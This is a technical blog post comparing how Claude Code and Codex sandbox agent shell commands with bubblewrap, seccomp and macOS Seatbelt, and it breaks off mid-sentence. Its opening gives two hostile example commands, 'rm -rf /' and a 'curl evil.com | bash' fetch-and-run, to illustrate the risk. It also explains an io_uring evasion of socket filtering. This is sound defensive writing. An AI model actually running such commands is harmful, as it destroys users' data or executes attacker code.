How Claude Code & Codex approach sandboxing | InstaVM

Back to blogAbhishek·April 5, 2026·18 min read<br>How Claude Code & Codex approach sandboxing<br>AISecuritySandboxingClaude CodeCodexDeep Dive

When an LLM decides to run rm -rf / on your behalf, what stops it?

Both Codex and Claude Code let an AI model execute shell commands on your machine. The model reads your code, decides what to do, and runs the command for you. That is also the risk. A language model that can run npm install can also run curl evil.com | bash. A model that can write to your source directory can also write to your SSH keys.

Both systems arrived at the same answer: OS-level process sandboxing. Both reached for the same OS primitives. But they embedded those primitives in different trust architectures. Codex treats sandboxing as a mandatory containment boundary, sandbox-first by default, though the manager can resolve to no sandbox when the policy does not require enforcement. Claude Code treats it as a configurable isolation layer that the developer can tune, relax, or override per command.

This article walks through the complete sandbox flow in both systems, from the moment the LLM emits a shell command to the moment the result comes back.

1. Background: The OS Primitives

If you have used Docker, you have already used some of these primitives indirectly. Docker containers use Linux namespaces (the same mechanism bubblewrap uses) to isolate processes. The concepts below are the lower-level building blocks that both Docker and these sandboxing systems build on.

Bubblewrap: filesystem isolation on Linux

Bubblewrap (bwrap) creates a fake view of the filesystem for a process: a read-only copy of your hard drive where only certain folders are writable.

It does this by creating Linux namespaces, isolated environments for different system resources. A mount namespace gives the process its own filesystem view. A PID namespace hides other processes. A network namespace isolates the process from the host network stack. A user namespace prevents privilege escalation.

Flags that both systems use:

--ro-bind / / mounts the entire host filesystem as read-only inside the sandbox.

--bind re-mounts a specific path as writable on top of the read-only base.

--unshare-net creates a fresh network namespace, isolating the process from the host network.

--tmpfs mounts an empty temporary filesystem, hiding whatever was at that path.

--dev /dev and --proc /proc provide minimal device nodes and process information.

Both Codex and Claude Code invoke the same bwrap binary. Codex builds its argument list in Rust. Claude Code builds it in TypeScript.

Seccomp/BPF: syscall filtering on Linux

If bubblewrap controls what a process can see, seccomp controls what a process can do. Seccomp (Secure Computing) installs a BPF (Berkeley Packet Filter) program in the kernel that intercepts every system call the process makes. If the syscall matches a blocked rule, the kernel returns EPERM before the operation executes. A firewall for system calls instead of network ports.

Both systems block the same critical syscalls:

io_uring_setup, io_uring_enter, io_uring_register : Linux's io_uring subsystem can perform operations (including creating sockets) in kernel context without going through the socket() syscall. A process could bypass seccomp's socket-blocking rules entirely. Both teams independently identified this evasion vector and block all three io_uring syscalls.

socket() with conditional filtering : Rather than blocking all sockets, both systems use BPF argument inspection to filter by address family, but the direction depends on the network mode. Codex in restricted mode allows only AF_UNIX (local IPC) while blocking AF_INET/AF_INET6 (network). In proxy-routed mode, Codex reverses this: allows AF_INET/AF_INET6 (so traffic can reach the local TCP bridge to the proxy) while blocking AF_UNIX (preventing bypass of the proxy). Claude Code's seccomp filter follows the proxy-routed pattern: blocks AF_UNIX and allows AF_INET/AF_INET6, routing all traffic through its socat TCP bridge.

Before installing a seccomp filter, the process must call prctl(PR_SET_NO_NEW_PRIVS) to ensure it cannot regain privileges through setuid binaries. Codex compiles its BPF program via the seccompiler crate in Rust. Claude Code uses a precompiled C binary (apply-seccomp) built with libseccomp.

Seatbelt: kernel-level sandboxing on macOS

macOS has its own sandboxing system called Seatbelt. It works at the kernel level through the TrustedBSD mandatory access control framework: once a policy is applied to a process, every file open, network connection, process spawn, and IPC operation is checked against the policy before the kernel allows it. There is no userspace hook to intercept or bypass. The policy language is SBPL (Sandbox Profile Language), a DSL with Scheme-like syntax where you declare what a process is allowed to do and the kernel denies everything else. You invoke sandbox-exec...